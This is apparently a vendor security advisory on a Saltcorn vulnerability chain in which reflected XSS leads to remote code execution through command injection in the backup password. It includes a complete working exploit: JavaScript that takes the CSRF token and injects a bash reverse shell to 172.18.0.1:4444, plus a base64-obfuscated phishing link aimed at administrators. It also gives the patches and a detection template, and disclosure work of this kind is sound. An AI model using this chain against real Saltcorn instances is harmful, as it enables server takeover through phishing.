Wed 11 March 2026
GHSA-cr3w-cw5w-h3fj
1-Click RCE in Saltcorn February 24, 2026 · CVSS 9.7 Critical · Saltcorn ≤ 1.5.0-beta.19
| CVE | CVSS | Affected | Fixed |
|---|---|---|---|
| Not assigned | 9.7 Critical | ≥ 1.1.1, < 1.5.0-beta.19 | 1.5.0-beta.19+ |
1. Technical Overview: XSS-to-RCE Exploit Chain in Saltcorn
Saltcorn is an open-source, database-first web app builder with an admin UI for page/code editing, backups, and system management.
GHSA-cr3w-cw5w-h3fj is critical not because of a single bug, but because it chains two vulnerabilities:
- Reflected XSS in parameter rendering
- Command injection in backup command construction
Individually, each flaw creates security risk. Combined, they allow an attacker to execute operating system commands when an administrator opens a specially crafted link.
2. Reflected XSS in Route Parameters
In vulnerable versions through 1.5.0-beta.19, the route parameter name flows directly into send_admin_page() as sub2_page and page_title without HTML escaping.
Vulnerable code pattern:
router.get(
"/edit-codepage/:name",
isAdmin,
error_catcher(async (req, res) => {
const { name } = req.params; // raw user input, no sanitization
// ...
send_admin_page({
res,
req,
page_title: req.__(`%s code page`, name), // unescaped
sub2_page: req.__(`%s code page`, name), // unescaped → breadcrumb
// ...
});
})
);
send_admin_page() calls send_settings_page() in packages/server/markup/admin.js, which places sub2_page verbatim as the text of the last breadcrumb node:
// packages/server/markup/admin.js (commit 020893c)
res.sendWrap(title, {
above: [
{
type: "breadcrumbs",
crumbs: [
{ text: req.__("Settings"), href: "/settings" },
{ text: req.__(active_sub), href: "..." },
...(sub2_page
? [{ text: sub2_page }] // ← name value inserted here, no escaping
: [])
],
},
// ...
],
});
res.sendWrap() renders sub2_page as raw HTML inside an \<a> tag. Any HTML in name executes in the browser.
Because name flows into rendered UI text without sanitization, an attacker-controlled value becomes executable HTML/JavaScript.
Example malicious request:
GET /admin/edit-codepage/%3Cimg%20src%3Dx%20onerror%3Dalert(document.domain)%3E HTTP/1.1
Host: target

Rendered output in vulnerable versions:
... <a> <img src=x onerror=alert(document.domain)> code page </a> ...
3. Command Injection in Backup Password Handling
The second vulnerability exists in backup generation, where a shell command is constructed using string interpolation and then executed.
Vulnerable pattern (backup.ts):
const cmd = `zip -5 -rq ${backup_password ? `-P "${backup_password}" ` : ""}"${absZipPath}" .`;
exec(cmd, { cwd: tmpDir }, (error) => { ... });
backup_password is injected directly into a shell command string. A malicious value can break out of the -P "..." context and append shell syntax.
Example malicious password:
";$(id);#
Resulting command execution:
zip -5 -rq -P "";$(id);#" "/tmp/backup.zip" .
This leads to arbitrary command execution in the server context when backup is triggered.

4. End-to-End Exploitation: Chaining XSS and Command Injection
Exploitation requires two components: a weaponized payload embedded in a phishing page, and social engineering to deliver it to an authenticated administrator.
Step 1: Command Injection Payload
fetch('/admin/backup')
.then(r => r.text())
.then(html => {
var c = html.match(/name="_csrf" value="([^"]+)"/)[1];
fetch('/admin/set-backup-prefix', {
method: 'POST',
headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
body: '_csrf=' + c + '&backup_file_prefix=sc-backup-&backup_history=on&backup_password=%22%3B%24%28bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.18.0.1%2F4444%200%3E%261%20%26%27%29%3B%22'
}).then(() =>
fetch('/admin/backup', {
method: 'POST',
headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
body: '_csrf=' + c
})
)
});
The backup_password parameter contains a URL-encoded shell escape. After decoding, it translates to:
";$(bash -c 'bash -i >& /dev/tcp/172.18.0.1/4444 0>&1 &');"
Server Execution Context:
zip -5 -rq -P "";$(bash -c 'bash -i >& /dev/tcp/172.18.0.1/4444 0>&1 &');"" "/tmp/backup.zip" .
Step 2: XSS Payload
The malicious URL from the phishing page embeds a multi-layer payload using Base64 encoding to bypass simple filters:
http://localhost:3000/admin/edit-codepage/%3Cimg%20src%3Dx%20onerror%3Deval%28atob%28%22ZmV0Y2goJy9hZG1pbi9iYWNrdXAnKS50aGVuKHI9PnIudGV4dCgpKS50aGVuKGh0bWw9Pnt2YXIgYz1odG1sLm1hdGNoKC9uYW1lPSJfY3NyZiIgdmFsdWU9IihbXiJdKykiLylbMV07ZmV0Y2goJy9hZG1pbi9zZXQtYmFja3VwLXByZWZpeCcse21ldGhvZDonUE9TVCcsaGVhZGVyczp7J0NvbnRlbnQtVHlwZSc6J2FwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZCd9LGJvZHk6J19jc3JmPScrYysnJmJhY2t1cF9maWxlX3ByZWZpeD1zYy1iYWNrdXAtJmJhY2t1cF9oaXN0b3J5PW9uJmJhY2t1cF9wYXNzd29yZD0lMjIlM0IlMjQlMjhiYXNoJTIwLWMlMjAlMjdiYXNoJTIwLWklMjAlM0UlMjYlMjAlMkZkZXYlMkZ0Y3AlMkYxNzIuMTguMC4xJTJGNDQ0NCUyMDAlM0UlMjYxJTIwJTI2JTI3JTI5JTNCJTIyJ30pLnRoZW4oKCk9PmZldGNoKCcvYWRtaW4vYmFja3VwJyx7bWV0aG9kOidQT1NUJyxoZWFkZXJzOnsnQ29udGVudC1UeXBlJzonYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkJ30sYm9keTonX2NzcmY9JytjfSkpfSk%3D%22%29%29%3E
Decoded XSS Payload:
<img src=x onerror=eval(atob("ZmV0Y2goJy9hZG1pbi9iYWNrdXAnKS50aGVuKHI9PnIudGV4dCgpKS50aGVuKGh0bWw9Pnt2YXIgYz1odG1sLm1hdGNoKC9uYW1lPSJfY3NyZiIgdmFsdWU9IihbXiJdKykiLylbMV07ZmV0Y2goJy9hZG1pbi9zZXQtYmFja3VwLXByZWZpeCcse21ldGhvZDonUE9TVCcsaGVhZGVyczp7J0NvbnRlbnQtVHlwZSc6J2FwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZCd9LGJvZHk6J19jc3JmPScrYysnJmJhY2t1cF9maWxlX3ByZWZpeD1zYy1iYWNrdXAtJmJhY2t1cF9oaXN0b3J5PW9uJmJhY2t1cF9wYXNzd29yZD0lMjIlM0IlMjQlMjhiYXNoJTIwLWMlMjAlMjdiYXNoJTIwLWklMjAlM0UlMjYlMjAlMkZkZXYlMkZ0Y3AlMkYxNzIuMTguMC4xJTJGNDQ0NCUyMDAlM0UlMjYxJTIwJTI2JTI3JTI5JTNCJTIyJ30pLnRoZW4oKCk9PmZldGNoKCcvYWRtaW4vYmFja3VwJyx7bWV0aG9kOidQT1NUJyxoZWFkZXJzOnsnQ29udGVudC1UeXBlJzonYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkJ30sYm9keTonX2NzcmY9JytjfSkpfSk="))>
5. Proof of Concept: End-to-End XSS-to-RCE Exploitation
This proof of concept demonstrates a full XSS-to-RCE exploitation chain against a vulnerable saltcorn/saltcorn:1.4.1 deployment, resulting in remote command execution via a malicious admin-side payload.
version: '3'
services:
postgres:
image: postgres:15
environment:
POSTGRES_USER: saltcorn
POSTGRES_PASSWORD: saltcorn
POSTGRES_DB: saltcorn
volumes:
- postgres-data:/var/lib/postgresql/data
saltcorn:
image: saltcorn/saltcorn:1.4.1
ports:
- "3000:3000"
environment:
PGHOST: postgres
PGUSER: saltcorn
PGPASSWORD: saltcorn
PGDATABASE: saltcorn
PGPORT: 5432
SALTCORN_SESSION_SECRET: fixedsecret
volumes:
- saltcorn-data:/home/saltcorn/.config/saltcorn
depends_on:
- postgres
command: serve
volumes:
postgres-data:
saltcorn-data:
Execution Flow:
- Attacker Terminal: A listener is established to receive the reverse shell.

- Victim Action: The administrator clicks the malicious link.

http://localhost:3000/admin/edit-codepage/%3Cimg%20src%3Dx%20onerror%3Deval%28atob%28%22ZmV0Y2goJy9hZG1pbi9iYWNrdXAnKS50aGVuKHI9PnIudGV4dCgpKS50aGVuKGh0bWw9Pnt2YXIgYz1odG1sLm1hdGNoKC9uYW1lPSJfY3NyZiIgdmFsdWU9IihbXiJdKykiLylbMV07ZmV0Y2goJy9hZG1pbi9zZXQtYmFja3VwLXByZWZpeCcse21ldGhvZDonUE9TVCcsaGVhZGVyczp7J0NvbnRlbnQtVHlwZSc6J2FwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZCd9LGJvZHk6J19jc3JmPScrYysnJmJhY2t1cF9maWxlX3ByZWZpeD1zYy1iYWNrdXAtJmJhY2t1cF9oaXN0b3J5PW9uJmJhY2t1cF9wYXNzd29yZD0lMjIlM0IlMjQlMjhiYXNoJTIwLWMlMjAlMjdiYXNoJTIwLWklMjAlM0UlMjYlMjAlMkZkZXYlMkZ0Y3AlMkYxNzIuMTguMC4xJTJGNDQ0NCUyMDAlM0UlMjYxJTIwJTI2JTI3JTI5JTNCJTIyJ30pLnRoZW4oKCk9PmZldGNoKCcvYWRtaW4vYmFja3VwJyx7bWV0aG9kOidQT1NUJyxoZWFkZXJzOnsnQ29udGVudC1UeXBlJzonYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkJ30sYm9keTonX2NzcmY9JytjfSkpfSk%3D%22%29%29%3E
- Reverse Shell Established: The entire chain executes in under 2 seconds, providing the attacker with remote access.

The process is nearly invisible to the administrator, appearing only as a brief browser navigation.
| Impact |
|---|
| Once command execution is achieved, the attacker can: • Read application secrets and configuration • Persist backdoors • Pivot into connected services • Compromise integrity and availability |
6. The Fix: Patch and Mitigation in Saltcorn 1.5.0
Saltcorn version 1.5.0 addresses both vulnerabilities independently. Implementing either fix alone is sufficient to break the exploit chain.
Fix 1: Input Escaping
Escape route/query params before downstream rendering.
const escape_param = (obj) => {
const out = {};
for (const [k, v] of Object.entries(obj))
out[k] = typeof v === "string" ? text(v) : v;
return out;
};
req.params = escape_param(req.params);
req.query = escape_param(req.query);
Fix 2: Secure Command Execution
Replace exec(string) with spawn(binary, args) and pass password as a normal argument (no shell interpolation):
const args = ["-5", "-rq"];
if (backup_password) args.push("-P", backup_password);
args.push(absZipPath, ".");
spawn("zip", args, { cwd: tmpDir, shell: false });
This removes the shell string injection primitive.
7. Detecting Saltcorn XSS-to-RCE with Ostorlab KEV
GHSA-cr3w-cw5w-h3fj (Saltcorn XSS-to-RCE chain) is covered in Ostorlab's Known Exploited Vulnerabilities (KEV) detection suite. The KEV agent group performs automated scanning across exposed services at scale, orchestrating tools such as Nmap, Tsunami, Asteroid, Nuclei, and Metasploit under a unified workflow.
The Nuclei Template
A dedicated Nuclei template was developed for this advisory and added to the KEV repository.
Unlike intrusive exploit validation, this template performs safe reflection-based detection without authentication:
- GET request to
/page/sc\<xss\>nuclei— injects angle brackets into a public route parameter. - Body match check — verifies the payload
sc\<xss\>nucleiis reflected unencoded. - Negative match check — ensures the encoded form
sc<xss>nucleidoes not appear. - Saltcorn fingerprinting — confirms presence via
_sc_version_tagmarker.
Detection requires all matcher conditions to succeed: reflection present, encoding absent, and Saltcorn identified.
The template confirms the vulnerable XSS primitive that enables the command-injection chain, without triggering backups or executing commands.
The full template is available in the Ostorlab KEV repository at: github.com/Ostorlab/KEV/blob/main/nuclei/GHSA-cr3w-cw5w-h3fj.yaml
References
| Resource | Link |
|---|---|
| GitHub Advisory | https://github.com/advisories/GHSA-cr3w-cw5w-h3fj |
| Saltcorn Repository | https://github.com/saltcorn/saltcorn |
| Fix Commit | https://github.com/saltcorn/saltcorn/commit/1bf681e08c45719a52afcf3506fb5ec59f4974d5 |
| Vulnerable Snapshot | https://github.com/saltcorn/saltcorn/commit/020893c |
Table of Contents
- 1. Technical Overview: XSS-to-RCE Exploit Chain in Saltcorn
- 2. Reflected XSS in Route Parameters
- 3. Command Injection in Backup Password Handling
- 4. End-to-End Exploitation: Chaining XSS and Command Injection
- 5. Proof of Concept: End-to-End XSS-to-RCE Exploitation
- 6. The Fix: Patch and Mitigation in Saltcorn 1.5.0
- 7. Detecting Saltcorn XSS-to-RCE with Ostorlab KEV
- References